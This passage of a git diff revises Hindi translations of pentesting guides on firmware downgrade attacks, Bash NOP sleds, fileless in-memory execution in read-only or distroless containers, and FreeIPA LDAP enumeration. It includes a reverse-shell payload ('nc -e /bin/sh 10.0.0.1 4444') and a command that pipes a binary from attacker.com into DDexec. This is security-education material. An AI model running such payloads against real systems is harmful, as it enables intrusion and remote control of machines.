दृष्टिकोण हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियों का सामना कर सकता है, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलते-जुलते आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि एक Raspberry Pi, या एक पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है। ### व्यक्तिगत बाइनरीज़ का अनुकरण @@ -186,7 +188,7 @@ file ./squashfs-root/bin/busybox ```bash sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` -MIPS (बिग-एंडियन) के लिए, `qemu-mips` का उपयोग किया जाता है, और छोटे-एंडियन बाइनरी के लिए, `qemu-mipsel` विकल्प होगा। +MIPS (big-endian) के लिए, `qemu-mips` का उपयोग किया जाता है, और little-endian बाइनरी के लिए, `qemu-mipsel` विकल्प होगा। #### ARM आर्किटेक्चर अनुकरण @@ -214,7 +216,7 @@ ARM बाइनरी के लिए, प्रक्रिया समा ## फर्मवेयर का विश्लेषण करने के लिए तैयार OSs -- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक वितरण है जो आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करने के लिए बनाया गया है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है। +- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक वितरण है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है। - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): फर्मवेयर सुरक्षा परीक्षण उपकरणों के साथ पूर्व-लोडेड Ubuntu 18.04 पर आधारित एम्बेडेड सुरक्षा परीक्षण ऑपरेटिंग सिस्टम। ## फर्मवेयर डाउनग्रेड हमले और असुरक्षित अपडेट तंत्र @@ -225,13 +227,13 @@ ARM बाइनरी के लिए, प्रक्रिया समा 1. **एक पुरानी हस्ताक्षरित छवि प्राप्त करें** * इसे विक्रेता के सार्वजनिक डाउनलोड पोर्टल, CDN या समर्थन साइट से प्राप्त करें। -* इसे सहायक मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, `assets/firmware/` के तहत एक Android APK के अंदर)। -* इसे तीसरे पक्ष के रिपॉजिटरी जैसे VirusTotal, इंटरनेट आर्काइव, फोरम आदि से प्राप्त करें। +* इसे साथी मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, `assets/firmware/` के तहत एक Android APK के अंदर)। +* इसे तीसरे पक्ष के रिपॉजिटरी जैसे VirusTotal, इंटरनेट आर्काइव, फोरम, आदि से प्राप्त करें। 2. **छवि को डिवाइस पर अपलोड या सेवा करें** किसी भी उजागर अपडेट चैनल के माध्यम से: * वेब UI, मोबाइल-ऐप API, USB, TFTP, MQTT, आदि। * कई उपभोक्ता IoT उपकरण *अप्रमाणित* HTTP(S) एंडपॉइंट्स को उजागर करते हैं जो Base64-कोडित फर्मवेयर ब्लॉब्स को स्वीकार करते हैं, उन्हें सर्वर-साइड पर डिकोड करते हैं और रिकवरी/अपग्रेड को ट्रिगर करते हैं। 3. डाउनग्रेड के बाद, एक कमजोरियों का शोषण करें जो नए रिलीज़ में पैच की गई थी (उदाहरण के लिए, एक कमांड-इंजेक्शन फ़िल्टर जो बाद में जोड़ा गया था)। -4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थिरता प्राप्त हो जाए। +4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थायीता प्राप्त हो जाए। ### उदाहरण: डाउनग्रेड के बाद कमांड इंजेक्शन ```http @@ -244,7 +246,7 @@ In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated dir ### Extracting Firmware From Mobile Apps -कई विक्रेता अपने सहायक मोबाइल अनुप्रयोगों के अंदर पूर्ण फर्मवेयर छवियों को बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/Wi-Fi के माध्यम से अपडेट कर सके। ये पैकेज आमतौर पर APK/APEX में `assets/fw/` या `res/raw/` जैसे पथों के तहत अनएन्क्रिप्टेड रूप में संग्रहीत होते हैं। `apktool`, `ghidra`, या यहां तक कि साधारण `unzip` जैसे उपकरण आपको भौतिक हार्डवेयर को छुए बिना साइन की गई छवियों को खींचने की अनुमति देते हैं। +कई विक्रेता अपने सहायक मोबाइल अनुप्रयोगों के अंदर पूर्ण फर्मवेयर छवियों को बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/Wi-Fi के माध्यम से अपडेट कर सके। ये पैकेज आमतौर पर `APK/APEX` के तहत `assets/fw/` या `res/raw/` जैसे पथों में अनएन्क्रिप्टेड रूप से संग्रहीत होते हैं। `apktool`, `ghidra`, या यहां तक कि साधारण `unzip` जैसे उपकरण आपको भौतिक हार्डवेयर को छुए बिना साइन की गई छवियों को खींचने की अनुमति देते हैं। ``` $ apktool d vendor-app.apk -o vendor-app $ ls vendor-app/assets/firmware @@ -266,15 +268,15 @@ firmware_v1.3.11.490_signed.bin - OWASP IoTGoat - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) -- द डैम वल्नरेबल राउटर फर्मवेयर प्रोजेक्ट +- द डैम्न वल्नरेबल राउटर फर्मवेयर प्रोजेक्ट - [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) -- डैम वल्नरेबल ARM राउटर (DVAR) +- डैम्न वल्नरेबल ARM राउटर (DVAR) - [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) - ARM-X - [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) - Azeria Labs VM 2.0 - [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) -- डैम वल्नरेबल IoT डिवाइस (DVID) +- डैम्न वल्नरेबल IoT डिवाइस (DVID) - [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) ## संदर्भ diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md index a3d65703c..9a073759a 100644 --- a/src/linux-hardening/bypass-bash-restrictions/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/README.md @@ -310,9 +310,9 @@ bypass-fs-protections-read-only-no-exec-distroless/ ## Space-Based Bash NOP Sled ("Bashsledding") -जब एक भेद्यता आपको एक तर्क को आंशिक रूप से नियंत्रित करने देती है जो अंततः `system()` या किसी अन्य शेल तक पहुँचता है, तो आप नहीं जानते कि निष्पादन आपके पेलोड को पढ़ना शुरू करने के लिए किस सटीक ऑफसेट पर है। पारंपरिक NOP sleds (जैसे `\x90`) शेल सिंटैक्स में **काम नहीं करते**, लेकिन Bash एक कमांड निष्पादित करने से पहले अग्रणी व्हाइटस्पेस को हानिरहित रूप से अनदेखा कर देगा। +जब एक भेद्यता आपको एक तर्क को आंशिक रूप से नियंत्रित करने देती है जो अंततः `system()` या किसी अन्य शेल तक पहुँचता है, तो आप यह नहीं जानते कि निष्पादन आपके पेलोड को पढ़ना शुरू करने के लिए किस सटीक ऑफसेट पर है। पारंपरिक NOP sleds (जैसे `\x90`) शेल सिंटैक्स में **काम नहीं करते**, लेकिन Bash एक कमांड निष्पादित करने से पहले अग्रणी whitespace को हानिरहित रूप से अनदेखा कर देगा। -इसलिए आप अपने असली कमांड को लंबे स्पेस या टैब कैरेक्टर्स की एक श्रृंखला के साथ प्रीफिक्स करके *Bash के लिए NOP sled* बना सकते हैं: +इसलिए आप अपने असली कमांड को लंबे स्पेस या टैब कैरेक्टर्स की श्रृंखला के साथ प्रीफिक्स करके *Bash के लिए NOP sled* बना सकते हैं: ```bash # Payload sprayed into an environment variable / NVRAM entry " nc -e /bin/sh 10.0.0.1 4444" @@ -323,7 +323,7 @@ bypass-fs-protections-read-only-no-exec-distroless/ व्यावहारिक उपयोग के मामले: 1. **मेमोरी-मैप्ड कॉन्फ़िगरेशन ब्लॉब** (जैसे NVRAM) जो प्रक्रियाओं के बीच सुलभ हैं। -2. ऐसी स्थितियाँ जहाँ हमलावर पै payload को संरेखित करने के लिए NULL बाइट्स नहीं लिख सकता। +2. ऐसी स्थितियाँ जहाँ हमलावर लोड को संरेखित करने के लिए NULL बाइट्स नहीं लिख सकता। 3. एम्बेडेड उपकरण जहाँ केवल BusyBox `ash`/`sh` उपलब्ध है - वे भी अग्रणी स्थानों की अनदेखी करते हैं। > 🛠️ इस ट्रिक को ROP गैजेट्स के साथ मिलाएं जो `system()` को कॉल करते हैं ताकि मेमोरी-सीमित IoT राउटर्स पर शोषण की विश्वसनीयता को नाटकीय रूप से बढ़ाया जा सके। @@ -333,7 +333,7 @@ bypass-fs-protections-read-only-no-exec-distroless/ - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju +- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) diff --git a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index d92475af6..c5062c1b5 100644 --- a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -6,12 +6,12 @@ निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लेखित तकनीकों को अधिक गहराई से समझ सकते हैं: -- [**DEF CON 31 - Linux मेमोरी मैनिपुलेशन का अन्वेषण छिपने और बचने के लिए**](https://www.youtube.com/watch?v=poHirez8jk4) +- [**DEF CON 31 - Linux मेमोरी हेरफेर का अन्वेषण छिपने और बचने के लिए**](https://www.youtube.com/watch?v=poHirez8jk4) - [**DDexec-ng और इन-मेमोरी dlopen() के साथ छिपे हुए घुसपैठ - HackTricks ट्रैक 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU) ## केवल पढ़ने के लिए / कोई निष्पादन नहीं परिदृश्य -यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें **केवल पढ़ने के लिए (ro) फ़ाइल प्रणाली सुरक्षा** के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करने जितना आसान है: +यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें **केवल पढ़ने (ro) फ़ाइल प्रणाली सुरक्षा** के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करने जितना आसान है:
apiVersion: v1
 kind: Pod
@@ -33,7 +33,7 @@ securityContext:
 
 ## सबसे आसान बायपास: स्क्रिप्ट
 
-ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं** जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि **शेल स्क्रिप्ट** यदि `sh` मौजूद है या **पायथन** **स्क्रिप्ट** यदि `python` स्थापित है।
+ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं** जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि **शेल स्क्रिप्ट** यदि `sh` मौजूद है या एक **पायथन** **स्क्रिप्ट** यदि `python` स्थापित है।
 
 हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी उपकरणों को चलाने के लिए पर्याप्त नहीं है।
 
@@ -43,14 +43,14 @@ securityContext:
 
 ### FD + exec syscall बायपास
 
-यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **Python**, **Perl**, या **Ruby**, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (`create_memfd` syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर **`exec` syscall** को कॉल कर सकते हैं जो **fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित करता है**।
+यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **Python**, **Perl**, या **Ruby**, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (`create_memfd` syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर **`exec` syscall** को कॉल कर सकते हैं जिसमें **fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित किया गया है**।
 
-इसके लिए आप आसानी से प्रोजेक्ट [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह निर्दिष्ट भाषा में एक स्क्रिप्ट उत्पन्न करेगा जिसमें **बाइनरी संकुचित और b64 एन्कोडेड** होगी और इसे **डिकोड और अनकंप्रेस** करने के लिए निर्देश होंगे एक **fd** में जो `create_memfd` syscall को कॉल करके बनाया गया है और इसे चलाने के लिए **exec** syscall को कॉल किया गया है।
+इसके लिए आप आसानी से प्रोजेक्ट [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह निर्दिष्ट भाषा में एक स्क्रिप्ट उत्पन्न करेगा जिसमें **बाइनरी संकुचित और b64 एन्कोडेड** होगी और इसे **डिकोड और डिकंप्रेस करने** के लिए निर्देश होंगे एक **fd** में जो `create_memfd` syscall को कॉल करके बनाया गया है और इसे चलाने के लिए **exec** syscall को कॉल किया गया है।
 
 > [!WARNING]
 > यह अन्य स्क्रिप्टिंग भाषाओं जैसे PHP या Node में काम नहीं करता क्योंकि उनके पास स्क्रिप्ट से कच्चे syscalls को कॉल करने का कोई डिफ़ॉल्ट तरीका नहीं है, इसलिए `create_memfd` को कॉल करके **मेमोरी fd** बनाने की संभावना नहीं है।
 >
-> इसके अलावा, `/dev/shm` में एक फ़ाइल के साथ **नियमित fd** बनाना काम नहीं करेगा, क्योंकि आपको इसे चलाने की अनुमति नहीं होगी क्योंकि **कोई निष्पादन सुरक्षा** लागू होगी।
+> इसके अलावा, `/dev/shm` में एक फ़ाइल के साथ **नियमित fd** बनाना काम नहीं करेगा, क्योंकि आप इसे चलाने की अनुमति नहीं दी जाएगी क्योंकि **कोई निष्पादन सुरक्षा** लागू होगी।
 
 ### DDexec / EverythingExec
 
@@ -66,19 +66,20 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
 ```
 For more information about this technique check the Github or:
 
+
 {{#ref}}
 ddexec.md
 {{#endref}}
 
 ### MemExec
 
-[**Memexec**](https://github.com/arget13/memexec) DDexec का स्वाभाविक अगला कदम है। यह एक **DDexec शेलकोड डेमोनाइज्ड** है, इसलिए हर बार जब आप **एक अलग बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर **नए बाइनरी लोड और चलाने के लिए इस डेमोन के साथ संवाद कर सकते हैं**।
+[**Memexec**](https://github.com/arget13/memexec) DDexec का स्वाभाविक अगला कदम है। यह एक **DDexec शेलकोड डेमन** है, इसलिए हर बार जब आप **एक अलग बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर **नए बाइनरी लोड और चलाने के लिए इस डेमन के साथ संवाद कर सकते हैं**।
 
 आप **memexec का उपयोग करके PHP रिवर्स शेल से बाइनरी निष्पादित करने** का एक उदाहरण [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) पर पा सकते हैं।
 
 ### Memdlopen
 
-DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक **बाइनरी को मेमोरी में लोड करने का एक आसान तरीका** प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।
+DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक **बाइनरी को लोड करने का एक आसान तरीका** प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।
 
 ## Distroless Bypass
 
@@ -90,12 +91,12 @@ Distroless कंटेनरों का लक्ष्य **अनावश
 
 ### Reverse Shell
 
-एक distroless कंटेनर में आप **शायद `sh` या `bash`** भी नहीं पाएंगे ताकि एक नियमित शेल प्राप्त किया जा सके। आप बाइनरी जैसे `ls`, `whoami`, `id`... भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं।
+एक distroless कंटेनर में आप **`sh` या `bash`** भी नहीं पाएंगे जिससे आप एक नियमित शेल प्राप्त कर सकें। आप बाइनरी जैसे `ls`, `whoami`, `id`... भी नहीं पाएंगे... जो आप आमतौर पर एक सिस्टम में चलाते हैं।
 
 > [!WARNING]
-> इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं होंगे** जैसे आप आमतौर पर करते हैं।
+> इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं** होंगे जैसे आप आमतौर पर करते हैं।
 
-हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश किसी भी **स्क्रिप्टिंग भाषा** के साथ यही स्थिति है।
+हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक Node रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषा** के साथ भी यही स्थिति है।
 
 > [!TIP]
 > स्क्रिप्टिंग भाषा का उपयोग करके आप **भाषा की क्षमताओं का उपयोग करके सिस्टम की गणना** कर सकते हैं।
@@ -105,7 +106,7 @@ Distroless कंटेनरों का लक्ष्य **अनावश
 > [!TIP]
 > हालाँकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप **उन्हें बायपास करने के लिए पिछले मेमोरी निष्पादन तकनीकों का उपयोग कर सकते हैं**।
 
-आप **कुछ RCE कमजोरियों का शोषण करने** के लिए **उदाहरण** पा सकते हैं ताकि स्क्रिप्टिंग भाषाएँ **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) पर।
+आप **कुछ RCE कमजोरियों का शोषण करने** के लिए **उदाहरण** पा सकते हैं ताकि स्क्रिप्टिंग भाषाएँ **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
 
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/freeipa-pentesting.md b/src/linux-hardening/freeipa-pentesting.md
index a878cedad..3e9414249 100644
--- a/src/linux-hardening/freeipa-pentesting.md
+++ b/src/linux-hardening/freeipa-pentesting.md
@@ -4,20 +4,20 @@
 
 ## Basic Information
 
-FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** का, मुख्य रूप से **Unix** वातावरण के लिए। यह एक पूर्ण **LDAP निर्देशिका** को MIT **Kerberos** की की वितरण केंद्र के साथ जोड़ता है, जो Active Directory के समान प्रबंधन के लिए है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है।
+FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** का, मुख्य रूप से **Unix** वातावरण के लिए। यह एक पूर्ण **LDAP directory** को MIT **Kerberos** Key Distribution Center के साथ जोड़ता है, जो Active Directory के समान प्रबंधन के लिए है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है।
 
 ## Fingerprints
 
 ### Files & Environment Variables
 
-- फ़ाइल `/etc/krb5.conf` में Kerberos क्लाइंट की जानकारी होती है, जो डोमेन में नामांकन के लिए आवश्यक है। इसमें KDCs और व्यवस्थापक सर्वरों के स्थान, डिफ़ॉल्ट सेटिंग्स और मैपिंग शामिल हैं।
+- फ़ाइल `/etc/krb5.conf` में Kerberos क्लाइंट जानकारी संग्रहीत होती है, जो डोमेन में नामांकन के लिए आवश्यक है। इसमें KDCs और व्यवस्थापक सर्वरों के स्थान, डिफ़ॉल्ट सेटिंग्स और मैपिंग शामिल हैं।
 - IPA क्लाइंट और सर्वरों के लिए सिस्टम-व्यापी डिफ़ॉल्ट फ़ाइल `/etc/ipa/default.conf` में सेट होते हैं।
 - डोमेन के भीतर होस्ट के पास प्रमाणीकरण प्रक्रियाओं के लिए `/etc/krb5.keytab` पर `krb5.keytab` फ़ाइल होनी चाहिए।
 - विभिन्न पर्यावरण चर (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) Kerberos प्रमाणीकरण से संबंधित विशिष्ट फ़ाइलों और सेटिंग्स की ओर इशारा करने के लिए उपयोग किए जाते हैं।
 
 ### Binaries
 
-`ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, और `kvno` जैसे उपकरण FreeIPA डोमेन का प्रबंधन करने, Kerberos टिकटों को संभालने, पासवर्ड बदलने और सेवा टिकट प्राप्त करने के लिए केंद्रीय हैं, अन्य कार्यक्षमताओं के बीच।
+`ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, और `kvno` जैसे उपकरण FreeIPA डोमेन प्रबंधन, Kerberos टिकटों को संभालने, पासवर्ड बदलने, और सेवा टिकट प्राप्त करने के लिए महत्वपूर्ण हैं, अन्य कार्यक्षमताओं के बीच।
 
 ### Network
 
@@ -25,15 +25,15 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic
 
 ## Authentication
 
-FreeIPA में प्रमाणीकरण, **Kerberos** का उपयोग करते हुए, **Active Directory** में समान है। डोमेन संसाधनों तक पहुँच के लिए एक मान्य Kerberos टिकट की आवश्यकता होती है, जिसे FreeIPA डोमेन कॉन्फ़िगरेशन के आधार पर विभिन्न स्थानों पर संग्रहीत किया जा सकता है।
+FreeIPA में प्रमाणीकरण, **Kerberos** का उपयोग करते हुए, **Active Directory** में समान है। डोमेन संसाधनों तक पहुँच के लिए एक मान्य Kerberos टिकट की आवश्यकता होती है, जो FreeIPA डोमेन कॉन्फ़िगरेशन के आधार पर विभिन्न स्थानों में संग्रहीत किया जा सकता है।
 
 ### **CCACHE Ticket Files**
 
-CCACHE फ़ाइलें, आमतौर पर **`/tmp`** में **600** अनुमतियों के साथ संग्रहीत होती हैं, Kerberos क्रेडेंशियल्स को संग्रहीत करने के लिए बाइनरी प्रारूप हैं, जो उपयोगकर्ता के प्लेनटेक्स्ट पासवर्ड के बिना प्रमाणीकरण के लिए महत्वपूर्ण हैं। CCACHE टिकट को पार्स करने के लिए `klist` कमांड का उपयोग किया जा सकता है, और एक मान्य CCACHE टिकट का पुनः उपयोग करने के लिए `KRB5CCNAME` को टिकट फ़ाइल के पथ पर निर्यात करना शामिल है।
+CCACHE फ़ाइलें, सामान्यतः **`/tmp`** में **600** अनुमतियों के साथ संग्रहीत होती हैं, Kerberos क्रेडेंशियल्स के लिए बाइनरी प्रारूप हैं, जो उपयोगकर्ता के प्लेनटेक्स्ट पासवर्ड के बिना प्रमाणीकरण के लिए महत्वपूर्ण हैं। CCACHE टिकट को पार्स करने के लिए `klist` कमांड का उपयोग किया जा सकता है, और एक मान्य CCACHE टिकट का पुनः उपयोग करने के लिए `KRB5CCNAME` को टिकट फ़ाइल के पथ पर निर्यात करना शामिल है।
 
 ### **Unix Keyring**
 
-वैकल्पिक रूप से, CCACHE टिकटों को Linux की कीरिंग में संग्रहीत किया जा सकता है, जो टिकट प्रबंधन पर अधिक नियंत्रण प्रदान करता है। टिकट संग्रहण का दायरा भिन्न होता है (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), जिसमें `klist` इस जानकारी को उपयोगकर्ता के लिए पार्स कर सकता है। हालाँकि, Unix की कीरिंग से CCACHE टिकट का पुनः उपयोग करना चुनौतियाँ पेश कर सकता है, Kerberos टिकट निकालने के लिए **Tickey** जैसे उपकरण उपलब्ध हैं।
+वैकल्पिक रूप से, CCACHE टिकटों को Linux की कीरिंग में संग्रहीत किया जा सकता है, जो टिकट प्रबंधन पर अधिक नियंत्रण प्रदान करता है। टिकट संग्रहण का दायरा भिन्न होता है (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), जिसमें `klist` इस जानकारी को उपयोगकर्ता के लिए पार्स कर सकता है। हालाँकि, Unix कीरिंग से CCACHE टिकट का पुनः उपयोग करना चुनौतियाँ पेश कर सकता है, जिसमें Kerberos टिकट निकालने के लिए **Tickey** जैसे उपकरण उपलब्ध हैं।
 
 ### Keytab
 
@@ -43,6 +43,7 @@ Keytab फ़ाइलें, जो Kerberos प्रिंसिपल और
 
 आप लिनक्स में टिकटों का उपयोग कैसे करें, इस बारे में अधिक जानकारी निम्नलिखित लिंक में पा सकते हैं:
 
+
 {{#ref}}
 privilege-escalation/linux-active-directory.md
 {{#endref}}
@@ -54,13 +55,13 @@ privilege-escalation/linux-active-directory.md
 
 ### Hosts, Users, and Groups 
 
-**hosts**, **users** और **groups** बनाना संभव है। होस्ट और उपयोगकर्ताओं को “**Host Groups**” और “**User Groups**” नामक कंटेनरों में वर्गीकृत किया जाता है। ये **Organizational Units** (OU) के समान हैं।
+**hosts**, **users** और **groups** बनाना संभव है। होस्ट और उपयोगकर्ता "**Host Groups**" और "**User Groups**" नामक कंटेनरों में वर्गीकृत होते हैं। ये **Organizational Units** (OU) के समान हैं।
 
-डिफ़ॉल्ट रूप से FreeIPA में, LDAP सर्वर **anonymous binds** की अनुमति देता है, और डेटा का एक बड़ा हिस्सा **unauthenticated** रूप से enumerable है। यह सभी डेटा को enumerate कर सकता है जो बिना प्रमाणीकरण के उपलब्ध है:
+डिफ़ॉल्ट रूप से FreeIPA में, LDAP सर्वर **anonymous binds** की अनुमति देता है, और एक बड़ा डेटा हिस्सा **unauthenticated** रूप से enumerable है। यह सभी डेटा को enumerate कर सकता है जो unauthenticated उपलब्ध है:
 ```
 ldapsearch -x
 ```
-अधिक जानकारी प्राप्त करने के लिए आपको एक **प्रमाणित** सत्र का उपयोग करना होगा (प्रमाणीकरण अनुभाग की जांच करें कि प्रमाणित सत्र कैसे तैयार करें)।
+अधिक जानकारी प्राप्त करने के लिए आपको एक **प्रमाणित** सत्र का उपयोग करना होगा (प्रमाणीकरण अनुभाग की जांच करें ताकि आप एक प्रमाणित सत्र तैयार करना सीख सकें)।
 ```bash
 # Get all users of domain
 ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@@ -74,7 +75,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
 # Get hosts groups
